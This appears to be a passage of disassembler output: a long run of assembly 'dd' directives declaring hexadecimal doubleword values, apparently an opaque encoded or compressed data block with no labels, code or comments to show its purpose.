		dd 91A1ECA5h, 0D7B4A38h, 0DE57D201h, 2CC27677h,	39F4CFDDh
		dd 0A5FD003Eh, 0E6D59690h, 0FC001419h, 0ADAA79E2h, 94BF93h
		dd 2E35A677h, 0DA535F10h, 4CF06B12h, 630067ECh,	4505D9DFh
		dd 201F69A6h, 97D2D5EEh, 857F2E00h, 9D066Eh, 381236D1h
		dd 81F1240Ah, 0E30E8801h, 0D1C1BE8h, 18AE71F8h,	0D47C7499h
		dd 6D721E6Bh, 373C562Eh, 807D800Fh, 7779E1Fh, 0FBDC02AAh
		dd 0DE0995C5h, 0F7B018E3h, 0D5F8A96Dh, 0C4465500h, 2E0E3821h
		dd 72D70008h, 1A4CD66Fh, 1B263196h, 7300E11Fh, 422B9EB2h
		dd 7B1878F2h, 9B5A005Dh, 0C8BE926Eh, 0D900A7DCh, 0FB552C07h
		dd 846204h, 0E967246Fh,	9DEB5D89h, 9902DA00h, 0A9195A55h
		dd 1BF4C6h, 0E52EA773h,	156E957h, 9307D8EEh, 0DECAB31Eh
		dd 87E665D0h, 10DD07B6h, 80C3818Ah, 1EC2F6EBh, 7C5B4F07h
		dd 136076E8h, 36E89B5h,	0FBEED3DDh, 881D5037h, 0A0414C99h
		dd 0C007BFE9h, 199549E5h, 0FE0455h, 0DB3C163h, 4F5447h
		dd 1B483233h, 6434C29Ch, 7F304674h, 0B78C3098h,	9438CA4Ch
		dd 93010FA0h, 67A5258Eh, 5034784Dh, 9E100156h, 5C062DC7h
		dd 91FC60FEh, 262E17h, 0D7D4A5D9h, 0AC14A2AEh, 1201D60Ch
		dd 220E1807h, 9643AFBCh, 1808C014h, 8AF66210h, 3A880C20h
		dd 27343F5h, 0CF6790E7h, 650E99C1h, 43D0C64h, 0C548E1A9h
		dd 11B57662h, 42880CF9h, 88DD21B2h, 0A941B753h,	7126211h
		dd 32F130A4h, 3524A29Ah, 0F908156Dh, 185942A7h,	5D240C85h
		dd 2124EA18h, 5115B477h, 6BA8100Ch, 8824CD8Ah, 0A14569F7h
		dd 845E3C4Ah, 7C19A566h, 172D1106h, 615E36E7h, 4E352118h
		dd 0B0F10218h, 2A8E0757h, 9080FB36h, 0A1769C8Fh, 22422100h
		dd 496C81C0h, 0A48D0E1Ch, 0FB00D978h, 243BFD83h, 4AE063E6h
		dd 0FEB27D12h, 4017610Ch, 3FA0080h, 0EDEFF105h,	0DC30983Ah
		dd 0D50F71D0h, 18F060BEh, 0F8C6B07Ah, 91AC7E00h, 0A3A4E748h
		dd 687518D4h, 0F7CF3101h, 96C6E906h, 0CA093E0h,	0F3D1FE8Bh
		dd 0D3182A88h, 25A80ED6h, 0DCDB1D6Eh, 885918F0h, 9675F427h
		dd 8F1C4AFDh, 44FCE08Bh, 0A3A072EFh, 1960CF58h,	0CE1F0F8h
		dd 963FB5BDh, 790C9F50h, 58ED36F3h, 768888DDh, 21F2E900h
		dd 0CE5A9C8Eh, 0E04C00A1h, 3BFA857h, 0C8A95D77h, 0E86FE199h
		dd 0D8C0C2A7h, 0ABF7FDC9h, 982F1494h, 9F02142Ch, 0FF37DFF1h
		dd 0A8B83493h, 99F8E117h, 453F9F00h, 0F58A4FE6h, 90C0A024h
		dd 7ECE3027h, 7DF99AF8h, 679EA200h, 0F81A4E85h,	1C840F2Dh
		dd 0C7D56E5h, 2EB8CD64h, 79C2850h, 0BD2BBE18h, 0CB3D98h
		dd 0BF2D09F6h, 0EB2E8866h, 0F470082Ah, 89CE8B00h, 5F20D429h
		dd 0B5283147h, 40D8FF18h, 7ED02168h, 402DA229h,	90D21F60h
		dd 0C8E754F4h, 6F58009Ah, 0AD5B608Eh, 651DFBEDh, 9829FA5h
		dd 0A789CFBEh, 60F1EC0h, 30109347h, 17F18727h, 9060418Ah
		dd 0B0AC9588h, 36C7486Fh, 0B9859418h, 9A28973Bh, 0F0759C6Bh
		dd 908F9C5h, 0F218101Bh, 53E48A25h, 324FED03h, 72C3A7A9h
		dd 2C312917h, 0CC8D4184h, 1F27D845h, 0AA023C92h, 77C3BB2Ch
		dd 924A4167h, 12CC1989h, 0F8F91801h, 8B488963h,	0C7C102Ch
		dd 0C70324EDh, 53FD00F0h, 0CDF89EDBh, 6235427Ah, 480218B3h
		dd 1807DB7h, 80289511h,	42936EA0h, 0A45C098Dh, 41F76084h
		dd 97D57176h, 0B4E79F00h, 5C392BBFh, 24549092h,	34C5E81h
		dd 8D50F594h, 0BEFCC7E0h, 40DCD5A1h, 83EDB580h,	0E049697Ah
		dd 1B3D03ACh, 0A8B44AB9h, 7082894h, 5C540996h, 0D7BF228Eh
		dd 99689844h, 3E3FA420h, 48704DD8h, 21D2208h, 25B3D27Fh
		dd 346887FBh, 437C26B5h, 0AD0498A0h, 0B0945D50h, 1BF42D48h
		dd 0BBE9A632h, 0C770011Fh, 0A05EAAAFh, 6E305CD3h, 4582D221h
		dd 4FC842BEh, 0E8AE5B9Ah, 0F4BF442h, 5D131068h,	0AF30E960h
		dd 900747DFh, 50A670BBh, 4DBFB8EDh, 0A3009C5Fh,	0E23F293Ah
		dd 79097322h, 18947520h, 8A89DCh, 24C971BCh, 0B1BDC3B0h
		dd 0BE65F608h, 0FE863A53h, 514DD2F0h, 5CB52A03h, 0A37B66E1h
		dd 0A004A5E7h, 10C8685Dh, 0AF7C010Fh, 0B1179EE3h, 0BB343020h
		dd 2227CC0Fh, 1C4260B6h, 3F6EA646h, 0C3016B82h,	97CEF890h
		dd 8C65EA3Bh, 0CB4AB84h, 0E41AD640h, 514891F9h,	480EA050h
		dd 425E0AFDh, 81485C32h, 98F776EDh, 2C40FA27h, 0EC00CC42h
		dd 6A73B21Fh, 188F0D54h, 0F083E909h, 563B29D7h,	364D07D9h
		dd 16302CBEh, 59AF89BDh, 0AC048FCh, 5181C14Bh, 0F9D8604h
		dd 8490504Eh, 5453AC6Eh, 3254E495h, 0B1B164E0h,	30D26D00h
		dd 17D701C9h, 0E64C73DFh, 0FC70DCA1h, 60100A6Eh, 3EC7C44Eh
		dd 9C7862h, 41D3A489h, 58146D64h, 0CB96FE00h, 54623DFBh
		dd 8937008Dh, 0EDD26CFDh, 1B3FD6C7h, 0AA6A8C15h, 0F9EE3170h
		dd 0DED11D13h, 0AE6881D7h
		dd 0CC7F8B44h, 0F04E2980h, 7442B17Ch, 0E8F22F00h, 3A320D9h
		dd 52E30183h, 0C7C085F7h, 7F42D017h, 32C32A01h,	388A5E5Bh
		dd 14F65FDCh, 8B51EFDh,	0EC234E20h, 80C51185h, 0AB5516C1h
		dd 0D1DD06E6h, 8DE24A9h, 0FA341C06h, 783D15h, 4CAD0A38h
		dd 30099DC4h, 1787C202h, 40C1DE91h, 373BD30h, 0C75F1E46h
		dd 0D232D388h, 83F769F5h, 0C8B83004h, 60B05DC6h, 0D286182Bh
		dd 2D01BA0Ah, 6A98F677h, 0A8207A93h, 7BBE0C1Fh,	2149A371h
		dd 0EEAAD3Bh, 60880D7Fh, 80BE4696h, 5F60074h, 0D9A051E9h
		dd 5A00D8E4h, 9D6CE62h,	197B34C9h, 7198E815h, 5422D838h
		dd 43715700h, 4C62B574h, 3E6C00F5h, 5B35D12Ah, 0B0C08810h
		dd 399AE9F2h, 0B04E01E3h, 669128CBh, 5FD04005h,	7B60826Ah
		dd 61D59AD9h, 39EA0C37h, 20515A24h, 14B97F00h, 173D85A2h
		dd 313F0F22h, 1FA053h, 16430C10h, 0DC294F84h, 708D3093h
		dd 4808B141h, 799009Bh,	54B6C6DEh, 120C936h, 0DBBB0304h
		dd 5998B420h, 0D6D3905h, 0C05F316Ch, 70180A9h, 3D76174h
		dd 80B73880h, 0BDB54D17h, 81B36502h, 27638F3Eh,	608BC098h
		dd 0BB00A6A2h, 5C888D55h, 689785C8h, 0ECF098EBh, 0BF0A4E09h
		dd 0CC8E6AAh, 3008D1F6h, 0D901A8A1h, 0A69CDCC6h, 82417909h
		dd 98080062h, 0A0BA104Dh, 8477660Ch, 9FA21F11h,	85757A10h
		dd 1808B167h, 447265B2h, 21769624h, 0C41BB6Bh, 0F708818Eh
		dd 2210B842h, 84E88463h, 8879A21h, 10AC426Dh, 0E84907Eh
		dd 885221B7h, 0AD429B08h, 8A893610h, 8A98306Ch,	2815DC49h
		dd 1D40C89h, 53B2DF6Fh,	22EA5B06h, 0FC7F8688h, 80A313F4h
		dd 0F720404Fh, 0DA4B3E02h, 7B4EB400h, 0F256F26h, 8C1380F5h
		dd 99A5B005h, 0C80CC53Fh, 0E710827h, 3EE08231h,	0ECE6A41h
		dd 20BBE1B6h, 0CD4C0F23h, 0C23A0075h, 3BE54D10h, 0BD4C04FCh
		dd 0D0F59FB9h, 0BFDA9910h, 0D9DECB1Dh, 86D8CDC5h, 0E5374C30h
		dd 88EA602Eh, 81C81109h, 0F07F7526h, 0CF313400h, 7A431706h
		dd 0B0630F8Dh, 0C4C00E67h, 0F88C19E7h, 74536E00h, 2617D49Fh
		dd 488601A6h, 49E0C892h, 12F1C459h, 1CACA7F2h, 0C3806846h
		dd 64EF5D3h, 84ACEC00h,	7C58FC0Bh, 65F43E33h, 0BC439492h
		dd 0DDDA0015h, 7187749Dh, 3C38F8F0h, 7F407A4h, 2515E7FEh
		dd 8648FC9Fh, 14337F28h, 9A8ED40Fh, 0FB885Eh, 48AE5A54h
		dd 0C60ECAE3h, 8ECC0440h, 5CE91EB5h, 9ABE2980h,	1F85005h
		dd 0D565FA94h, 3E75062Bh, 20E3A0h, 48683B01h, 9750837Ah
		dd 7FF33Ch, 42D37C93h, 0CE0C152Eh, 8CE06689h, 704C6B55h
		dd 0A79E750Fh, 521BC694h, 0F2148040h, 0CCF40116h, 7573DE90h
		dd 8858D1E7h, 76ACBBB0h, 41704421h, 0CC694F95h,	0D1070AADh
		dd 0AC80E29Ch, 10BE6B0h, 362B8ABh, 0D4E1C5CBh, 283F9B48h
		dd 80C4805Ah, 0C60722DDh, 0CB3F07BAh, 0F01A48B6h, 0AAA65D67h
		dd 66C1800Fh, 0E247E317h, 0E6100CCFh, 0C408785Bh, 4D255700h
		dd 17FC6A01h, 0EC31C0C6h, 5F8F6368h, 953F8307h,	3BBD507h
		dd 0B0707F98h, 7C6E02Ch, 48B82E18h, 4229607Eh, 0DB005AF5h
		dd 0DC9D464Ah, 3B9B47C1h, 2C984E7Fh, 4AA4718Bh,	78286100h
		dd 0C0AAECEAh, 0D44706DAh, 0D0E70124h, 200C417Bh, 10D9D56Ah
		dd 1EB530C1h, 418DF541h, 0CC2A2490h, 98018046h,	0ACC390F9h
		dd 670128D1h, 899442C0h, 98B0ACBFh, 0B0133A0Bh,	0B44E07CCh
		dd 0CF43B104h, 0DB95D620h, 101F702Dh, 0C7402A22h, 539D8438h
		dd 91B61456h, 15AB449Ah, 84CE99h, 0C23440EFh, 584C61Eh
		dd 0F5058AB1h, 758A805Bh, 2500F146h, 4C266F8h, 7FE19Fh
		dd 6248A667h, 7D8D9ED9h, 1EFC345Bh, 58D40900h, 610C9D01h
		dd 83D0F900h, 0B39CA9C1h, 182201DEh, 0DA48C6EBh, 0F3309B03h
		dd 0C1910028h, 78BA2A1Ah, 9802AAFDh, 9FD2FA53h,	14F8C25Fh
		dd 91D53884h, 66D2C180h, 61B10547h, 0F8001EE6h,	3A64153h
		dd 7F5E403Ch, 37E60339h, 2F4F28FEh, 7D95BA90h, 0C0427E0Eh
		dd 40CE621Ch, 30E600ABh, 0AC0045B1h, 0DB698B2Ah, 28DAB709h
		dd 21D0165Fh, 56004D97h, 0B8EBA48Dh, 9B5098Ch, 6415B0C0h
		dd 415667E0h, 0C8BD509Ch, 1B051D03h, 90B0C0E2h,	0B1AC5938h
		dd 2B4FC501h, 580B33B8h, 24913CD0h, 0E00C5488h,	0D9B159BEh
		dd 0A39EAB0Fh, 18B200B5h, 1F47A14Ah, 60ED515h, 28AC5267h
		dd 916D5A07h, 9D2188A3h, 0CEFC965Eh, 0DBF21D4Eh, 0F04780ECh
		dd 0AB863B73h, 7280701Eh, 5CF5E580h, 67C53Ah, 0AFC8CA62h
		dd 0A08D5229h, 1EA30A3Ch, 0E440A850h, 9587D038h, 3A5D1020h
		dd 0A7160AFh, 1EEF98h, 17E88CD9h, 76402680h, 87FD5C07h
		dd 50B09568h, 0BF707Ch,	9AB4C2F4h, 9733EC91h, 980D38C2h
		dd 944497E8h, 84003C63h, 417BBECCh, 4F0F9EF0h, 8298D8B6h
		dd 9820916Eh, 0CA43190h, 56976E8h, 77E09D21h, 8A00DF0h
		dd 6A11044Bh, 6630A37Ah, 9CD3320h, 0EBE01381h, 1B64849Eh
		dd 0A8439F10h, 98075B3Fh, 0D73AC5ECh, 20F00386h, 0C8009887h
		dd 10E3B84Ch, 1DDA6C97h, 63782BDh, 0D06B8BCBh, 49964712h
		dd 0CC0E0E00h, 0DFEC4Eh, 0F7B8AA4Fh, 0D5893417h, 80E8B23Fh
		dd 0CCADBAFEh, 609FB45Eh, 0FC9D843Dh, 0A60A76D1h, 0F4D946C3h
		dd 26C03A1Dh, 0D63E3222h, 0AEF70090h, 0B5B13409h, 6E0053CDh
		dd 0CBA179DEh, 96CF52h,	8165C89Fh, 6A41DA73h, 48E5D730h
		dd 7F556CDEh, 39CE67CFh, 311A2067h, 9C3C15DFh, 13BF0F16h
		dd 96CD8356h, 73BC398h,	0A9A74548h, 0C739CCACh,	2A03C5F8h
		dd 0EAB4389Ah, 0A1BC83ABh, 2081D018h, 0B6C59646h, 0CF3EC411h
		dd 9755A700h, 86359E3Ch, 496660ACh, 74FE500Ah, 75F9AA50h
		dd 7BE35212h, 84C46F00h, 0E4AC6Eh, 773EE2F1h, 0D21E7599h
		dd 644420D0h, 6860A498h, 0B47031C5h, 0C330BC43h, 0C5602721h
		dd 80789739h, 14D43E8Bh, 17998C9h, 43E48638h, 3015DD66h
		dd 0A83070B1h, 413D18FDh, 0F3C001F8h, 0F591A752h, 73ADF856h
		dd 3714B201h, 2931EB5Ah, 3F180E8h, 98CC0F6Ch, 84A467C8h
		dd 0B180802Fh, 8200D341h, 80E51C4Ch, 0D57D6Bh, 0C5DB5410h
		dd 0F70DB59Eh, 51CC3700h, 0F94AFB99h, 0D2A00EF4h, 21A097B3h
		dd 8431903Bh, 53604100h, 0A42C65B5h, 0FF190028h, 0AD67F0F5h
		dd 0F300A8D0h, 0E4157E84h, 0EFB05Ch, 0D1B0210h,	3A6C4699h
		dd 13005771h, 2D8D9267h, 74C4F32h, 3E04D328h, 3A05852Eh
		dd 39670C04h, 81036h, 0B9290B4Ch, 0A2E6FE04h, 49BC1C07h
		dd 0A0FE35CDh, 0A64F3CCBh, 0B8E80058h, 8C1B61D9h, 0DB00A410h
		dd 42288637h, 7418694Ah, 5FB003Ah, 9321F2C2h, 480F6E77h
		dd 20105E36h, 3E3A781Ah, 398B7B09h, 79790188h, 0BCE73803h
		dd 0B9B1CA8Eh, 650C6C00h, 0B760CE29h, 0CC5B11E4h, 0F77D0014h
		dd 16D8A288h, 0F9FE7A92h, 8DCFBA0Eh, 0F69CA0C8h, 387538E3h
		dd 5E03DBF7h, 60CC9594h, 6880BABh, 8B00207Dh, 336D6C8Ah
		dd 9287Ah, 0FB1A1E48h, 5569E10Ah, 0E0D3E00h, 0A66CF670h
		dd 0D8D102F9h, 956B5F2Dh, 6A3C5E60h, 4B24C400h,	56507FEFh
		dd 40330118h, 0A18C80CBh, 27C607Ch, 0FFCA591Fh,	0C1A5F707h
		dd 0F22FEF30h, 75090060h, 0F951CD3Ah, 660A17C4h, 0C43D5CB9h
		dd 0C074E50Fh, 0C57F09B6h, 0BDE9001Bh, 0FFEB2CAh, 3C01DF9Dh
		dd 644ACF9Fh, 0E4502D42h, 0FB5F995Ch, 3893F8h, 0CD4DF9C6h
		dd 356E96FDh, 76B7B00h,	4998508Ch, 4F4E00FFh, 3C45286Ch
		dd 2C0790C7h, 0E34C272Ah
		dd 2E154970h, 0F37717h,	59A7E2A9h, 93DC2B84h, 0FE08A501h
		dd 6DB46BF9h, 482B70h, 0EC5A511Ch, 9D2943E5h, 0BF562E00h
		dd 636F2685h, 0BACB0FD3h, 52806B3Eh, 413612A3h,	51259600h
		dd 27E4471Ah, 13E900BFh, 44E55FF9h, 0AB60536Eh,	0F1E8BEF1h
		dd 33033FB0h, 0CE32DB80h, 0B44D304Ch, 0CF9BC900h, 0EC79E9C0h
		dd 1798F8B8h, 1D22AEF6h, 94594C16h, 2003DEB0h, 2FC53C16h
		dd 0F721D9E3h, 172B1D4h, 79B7F2C8h, 0F249EE64h,	9930A480h
		dd 2E00203Bh, 6F623C61h, 6A9D033h, 0D6B8935Eh, 6E00C0F8h
		dd 53F3617Dh, 13238388h, 0E2AEADh, 7AE7BEA9h, 640008C0h
		dd 9F094241h, 11D31Dh, 0A54C4D2h, 0E9C85A9Ah, 33F74700h
		dd 4B5F655Ch, 26D13020h, 5A4225B0h, 0D376BA00h,	4468D975h
		dd 0C04E0009h, 0ED85573Ch, 88008ED8h, 1704FE26h, 0E1E654Ch
		dd 0CFF5918h, 6E8D95E0h, 640C7C4Fh, 0D836E770h,	75A40002h
		dd 8EB33C6Ah, 8000D852h, 865CDDE8h, 0F8F1FDh, 0BA4D8D58h
		dd 75ECC499h, 37AD2F00h, 0AD816EDh, 0B8C94E15h,	0F0074DFh
		dd 0B907380Dh, 44F93Dh,	0C3CD5A9Fh, 4878B18h, 9E31A901h
		dd 0B9EAB786h, 0B011E443h, 3AE7AF0h, 9213E7EFh,	67E81E5Eh
		dd 9009A65h, 732B88FDh,	0C76B1F2h, 2E54E6F3h, 280FF411h
		dd 184960Dh, 0D9DF660Ah, 4B979424h, 7473FC76h, 52B71907h
		dd 51D075DEh, 1ECA05Ch,	17622A72h, 80D0F38Bh, 0F4D8E588h
		dd 3FACDB0h, 263B2D2Eh,	6804A872h, 0D842FB8h, 4370EC87h
		dd 1EE4DE15h, 81A6E23Ch, 297C3873h, 0ECE44004h,	9000FD7Fh
		dd 8BD45E0h, 4287DA1h, 3606488Ch, 0C35FC4E6h, 2FE84FE9h
		dd 3C00CD93h, 7AEF380h,	0E6BA98A2h, 0C3240ED1h,	6206B1Dh
		dd 44BB93BDh, 20EFCE00h, 0F15A774Dh, 89E63Ah, 40CA81C5h
		dd 731A7BEh, 0C301C2F0h, 7A5C3B11h, 8850ACAFh, 590CE7h
		dd 0A8CCEFB4h, 0FD7928F0h, 0BA199513h, 2005C400h, 184DB5h
		dd 0C426AFD6h, 9879CC58h, 9E703800h, 0BA20EE9Ah, 0DCAA1941h
		dd 0D80F3034h, 0C006435h, 242C29CBh, 7517C5A3h,	85FC00E3h
		dd 31F3C4Bh, 0C700F306h, 0F74E4A39h, 170E32h, 0D68F2787h
		dd 0F65B7815h, 2652ED01h, 0C0287748h, 0A54B8C40h, 43E0159h
		dd 0A742A1E2h, 30683580h, 900093D3h, 7C23DCB8h,	14C9CC52h
		dd 80111D4h, 29275700h,	0D7468854h, 9882A426h, 1A7EB205h
		dd 175C53C0h, 5F090438h, 906A782Fh, 9F559C28h, 2A81A300h
		dd 76020864h, 98C97D87h, 0C68901E0h, 4304A950h,	0ADB06491h
		dd 2C590F00h, 25BD69DDh, 0C079FAA0h, 6DF4CA41h,	1503EC09h
		dd 8B703921h, 0AA9188B6h, 81BF007Eh, 0BE52E254h, 0FE000CE1h
		dd 0C2826432h, 392926h,	2B22A074h, 84ED5085h, 709BE900h
		dd 0A558D8FCh, 533E004h, 877DF064h, 0E3C3C7F4h,	0B58A5B0Fh
		dd 0E3663AC0h, 0D3C9A61Ch, 6449F7C0h, 0D1EDFCh,	27770DD2h
		dd 3623120h, 0AB00FFFCh, 9F614EA5h, 0AD997Ah, 131A0539h
		dd 0A0174A68h, 0C810B900h, 0A4D87838h, 0BA650FCEh, 0BFCAA1Dh
		dd 0E400F37Ah, 4DE70D1Fh, 0E557D600h, 4ADD2646h, 0B1290302h
		dd 0E4B6CF47h, 9D07287Ah, 0D1F2ECEDh, 0DAC0DF5Eh, 0C374106Ah
		dd 4E6B0036h, 9B9F96F6h, 0FFFEA859h, 0D0342800h, 0C549B882h
		dd 60AA00B0h, 6625ADDCh, 6D01DDC3h, 46A8170Fh, 0C460FE1Fh
		dd 6AE002AFh, 0BCE4BDEh, 90AEBD40h, 0DC63601h, 6887515Fh
		dd 0CC4B1D4h, 3372296Fh, 0AC38D148h, 0A31B9E32h, 47510B83h
		dd 709CE8A9h, 0A4384896h, 9BB6C000h, 527F4B8Dh,	1164C00h
		dd 0C9DA333Bh, 0C3A0A0EAh, 8FA400FAh, 41B6C75Ah, 2E0EEFBDh
		dd 40ED95AEh, 76AA9D4Fh, 1537012Fh, 0ED207D7h, 360CC44Eh
		dd 6E11B300h, 9F1C0F3Dh, 1ED79CAh, 590339C2h, 202FC46Bh
		dd 0D9E0A580h, 1EF46C02h, 409B3531h, 3F3F3D5Eh,	2873943h
		dd 87328F18h, 0FC468063h, 0D903480Ch, 2658F32Dh, 0FE8898B5h
		dd 8B3B39F6h, 285C7000h, 480E5B5Ah, 0B6C99900h,	0A955F018h
		dd 6209852h, 6BD16987h,	2FF0803Ah, 0BE11B71Fh, 0C9E68F80h
		dd 3B2C52FCh, 0CC0D6AC4h, 6440B24Eh, 7800AB40h,	15F40C80h
		dd 58AC49F8h, 3B00C844h, 43A59903h, 5E036863h, 70D69A14h
		dd 0CA28C0ACh, 507B49h,	55C5C891h, 6844AD77h, 0B0FF241Fh
		dd 0D5CA8F40h, 9C5E65h,	0AC666E1Fh, 0F29F8CEEh,	0C6A32A00h
		dd 6AEBAB3Eh, 0E08F0665h, 0FE2BD039h, 66C2691Eh, 9F047987h
		dd 0D91E00CFh, 73B8895Eh, 32E443h, 0FE5C3712h, 827DAF5h
		dd 78912C00h, 2F4492D6h, 0D3100189h, 75AB283Dh,	2B0EFC7Bh
		dd 4B0B6276h, 0BC029Fh,	0E3DE609Eh, 39BE806h, 0CEAA67F0h
		dd 6A8987EDh, 820DD952h, 35B54694h, 65AC8022h, 3A61849Eh
		dd 0BA8E5730h, 29A03694h, 0E5072AB5h, 0A29CA400h, 2013E1A0h
		dd 0A64F003Dh, 370C7DF4h, 0B603DBB3h, 2C4CD70Dh, 0E057A7FCh
		dd 6FEFCC60h, 75F218CEh, 534F6001h, 57569C03h, 0A8AAA8BCh
		dd 92A604Ah, 0C8E8120Bh, 15476C21h, 40F221B3h, 0E182072Eh
		dd 5E0F57EEh, 0C0385D3Fh, 13F34EC9h, 6C920065h,	0B6A7499Ch
		dd 5709AE36h, 613B715Fh, 0D121EA24h, 0B0B0884Bh, 4C39DE41h
		dd 9D1A80EFh, 14581885h, 8A86047Bh, 0B25602BAh,	2F77E070h
		dd 31B73220h, 1760EC51h, 4E901591h, 0FC6C0407h,	0D04059C1h
		dd 3E8844A8h, 9896D48h,	0DC8F5251h, 46890B60h, 846395A6h
		dd 0D98D3738h, 106462FEh, 17C40F54h, 5B4F9A3Dh,	694F2018h
		dd 65890662h, 1E47497h,	548BC9B1h, 710893ADh, 0FF233840h
		dd 0ACD6Dh, 941383E4h, 9BD9812Fh, 2DA9661Ch, 0D64CEF40h
		dd 6F16631Fh, 11C8D03Bh, 0B5567031h, 8EF139CFh,	3F601300h
		dd 0F6F13393h, 2465F23Ah, 0E580408Fh, 0FD694845h, 0AAC21828h
		dd 6EF9198Bh, 0CD9D800h, 0B8AE8830h, 0E19A0369h, 8D3C3F87h
		dd 0FF36823h, 0C87F12F9h, 0BC6291BBh, 480002Fh,	120E9913h
		dd 3782DCDh, 0C0E6A461h, 0F706FFBh, 0B08F0DC2h,	37B782C2h
		dd 459ED8A0h, 0A242A78h, 0B21FD984h, 689108F2h,	1C2FE34h
		dd 18C0ED76h, 409698CBh, 4CF54C8h, 0F93E59E6h, 87701827h
		dd 616FBC18h, 2DB490B5h, 4E34487Fh, 0A317804h, 3C331D4Ch
		dd 87F3210Ch, 91F876h, 3911AE50h, 0D5EFFA28h, 312E98A9h
		dd 4C8DCDD8h, 28C55C4h,	3F611357h, 7919664Bh, 4882EE10h
		dd 6C416706h, 0AB09A01h, 276D064Eh, 743E02F8h, 88093F79h
		dd 1E8C80A5h, 4C854003h, 8280D442h, 36AD8429h, 44C011DDh
		dd 2760ECC2h, 0AEBD00A5h, 0A869A198h, 780110F7h, 84F91C14h
		dd 18899987h, 44219890h, 0E8856FA0h, 5C526083h,	2279F1F8h
		dd 0ED122B0Ch, 0B04E5106h, 0B889CFB2h, 391B4DD0h, 2C8A8445h
		dd 87B43259h, 11630D11h, 3018C265h, 0EB5098DAh,	6C2A3EA8h
		dd 5A02E481h, 6414C432h, 24B484AEh, 62134060h, 29033F23h
		dd 7F370044h, 6AAE7748h, 2126DA00h, 3FFCA1D2h, 326B28BCh
		dd 845E09B0h, 88E92E35h, 0D6EC2463h, 9C2BB13Fh,	0F403CEE1h
		dd 1EE7A505h, 1F013592h, 0E882BB19h, 3E84B28Dh,	85C49447h
		dd 0FAE5B260h, 0EDCBC60Bh, 0F4588ACEh, 12EB9742h, 0D80C0B5h
		dd 0B7FC7101h, 3A7A135Ah, 0A04C0AADh, 27BE80F8h, 0FE8688F0h
		dd 51404D00h, 2A3C2873h, 5E4C0063h, 61BE59BAh, 0C41D0A6Eh
		dd 8C11422Bh, 20B4A913h, 0A10E4E80h, 40F42E51h,	15ADACCCh
		dd 0CE42A800h, 7EB59A09h, 14A3002Ch, 286AE5D7h,	0F80EBFEAh
		dd 8680EE67h, 7B20CE11h
		dd 3DEC00E1h, 0D652E6D0h, 0F11CC6CDh, 72DE3B5Fh, 0EC40B71Fh
		dd 2BBE605Ah, 0F0B403A3h, 74C2F32Ch, 0DE004078h, 4951ED04h
		dd 37E057DAh, 5C08DBF1h, 9B03BE21h, 0EA34F7EFh,	0FB64E84Fh
		dd 0C4F259h, 0AF3CC6F2h, 8FA3AB9Bh, 0CFE8460Ch,	6CA18D7h
		dd 3DBF192Ah, 9C0010DAh, 0A0AF3B75h, 1D1B6116h,	0D5E4AEFh
		dd 0F5202A98h, 0F58D60DDh, 1A3FA107h, 69D008D4h, 30DEA872h
		dd 0D659A2BFh, 0FF078F63h, 423F427h, 5AC99F30h,	7C6D0030h
		dd 88A27ACFh, 4B009A36h, 4DB6BA49h, 51666A3h, 6E942029h
		dd 9128039h, 0EC00D108h, 0FF437D1Bh, 30CBA59Eh,	0FCC8897Ch
		dd 2400FAF7h, 0F241ABDCh, 0C0D04D94h, 10E83AF1h, 741FA593h
		dd 54E68A6h, 2AB9867Ah,	0D0480020h, 4BD3E210h, 6A00699Ah
		dd 0F512CDFCh, 7E5CDCCBh, 0F4E9EAE8h, 78CE00F9h, 0B59D3C2Dh
		dd 507B947h, 23B7DEEBh,	0E0894AC3h, 74462B6Ah, 4D1A0ADBh
		dd 7A83CC7h, 40481201h,	0AD1EB268h, 0A619D160h,	0F4CF97F1h
		dd 46EE07B0h, 163EA850h, 85732118h, 56769700h, 0BC38B3ABh
		dd 0E3A914A6h, 79B8C0h,	0EA04832Ah, 685123CBh, 0F3F43B2Eh
		dd 52DBC603h, 0DAE009F5h, 86008C12h, 0ECE73C1h,	9D86891Dh
		dd 5A11118h, 872E009Bh,	45699051h, 0FEFCCE64h, 68481800h
		dd 14DCC13Eh, 5168C00Ah, 9806BA1h, 60266487h, 0D513FFh
		dd 34DD3758h, 0AC354374h, 7F977504h, 1C90769Ah,	15467EFh
		dd 0A12F2931h, 52DA68BCh, 93306CA0h, 1F2D1197h,	51D484C0h
		dd 97E48B00h, 803A4031h, 547CA486h, 9E025E80h, 17BA4A69h
		dd 17B4456h, 47B2E38Ah,	0FB1C24DBh, 0D75BD200h,	0E413B311h
		dd 4D790FB0h, 0E6C1A390h, 0C829E7DFh, 950093F8h, 46829737h
		dd 55DDB269h, 808D50AAh, 3991ED2h, 21001950h, 5B970186h
		dd 1356617h, 0AC73C247h, 20877603h, 2300D26Ch, 9EFE2A15h
		dd 3E163BA9h, 74008308h, 552F7BCh, 21027DABh, 0F24CC972h
		dd 47C4C9Bh, 0A5DC112Dh, 0BF68677Ch, 4710D400h,	6409C181h
		dd 821A4A01h, 0C9C523D8h, 0F566A181h, 41A56799h, 0CCD94B9Ch
		dd 1A0006CBh, 71B843C3h, 4CD02AC0h, 30C01CBDh, 4EA08C3Bh
		dd 9A225E43h, 3218DE03h, 0E94EB239h, 0E470759Bh, 5D300C8h
		dd 30ABAE14h, 29008487h, 3E40E943h, 504B8D34h, 32B68880h
		dd 0DAE1D6EBh, 869E1841h, 0CF26FF59h, 682C4DA9h, 72164223h
		dd 1EA18304h, 88CE68D8h, 3B002B7Ch, 31D8C50h, 26285C9Ah
		dd 748CC49Fh, 1779746h,	0E2900DCEh, 0E8B37A6Ch,	0D64C2301h
		dd 43498208h, 0F53C40AEh, 0A7D734A9h, 5481C1B8h, 91B4214Ah
		dd 7C804478h, 6EA0D83Bh, 0D7A5208Ch, 3A00E4E4h,	9B6C1C2Ch
		dd 29BD104Fh, 90BF98h, 8F03659Ch, 33E4FA2Dh, 68C01998h
		dd 7D322FDAh, 3C2540E8h, 4218D3E4h, 4720302Bh, 1892A7h
		dd 36BF09AFh, 0C1EDEE91h, 0D141A530h, 46C4920h,	3FD63BA3h
		dd 0E784918Fh, 64200DADh, 0D81E24DCh, 40CCC484h, 497D790h
		dd 0ADC903A2h, 0A64667D8h, 7C065C8Bh, 7DA002B3h, 88045490h
		dd 0ED2F0C3Ch, 0BE70AB66h, 17FC30E3h, 0D11D4A43h, 0DCA5C410h
		dd 7DB3379h, 12180D21h,	0C43224C7h, 8790C84Ah, 11E33301h
		dd 0F5E8108Dh, 8822A0D1h, 86696A03h, 1FC5D27Ch,	0F5A10544h
		dd 3EB402ACh, 1C407587h, 5903D547h, 7FD2510Fh, 0A109901Dh
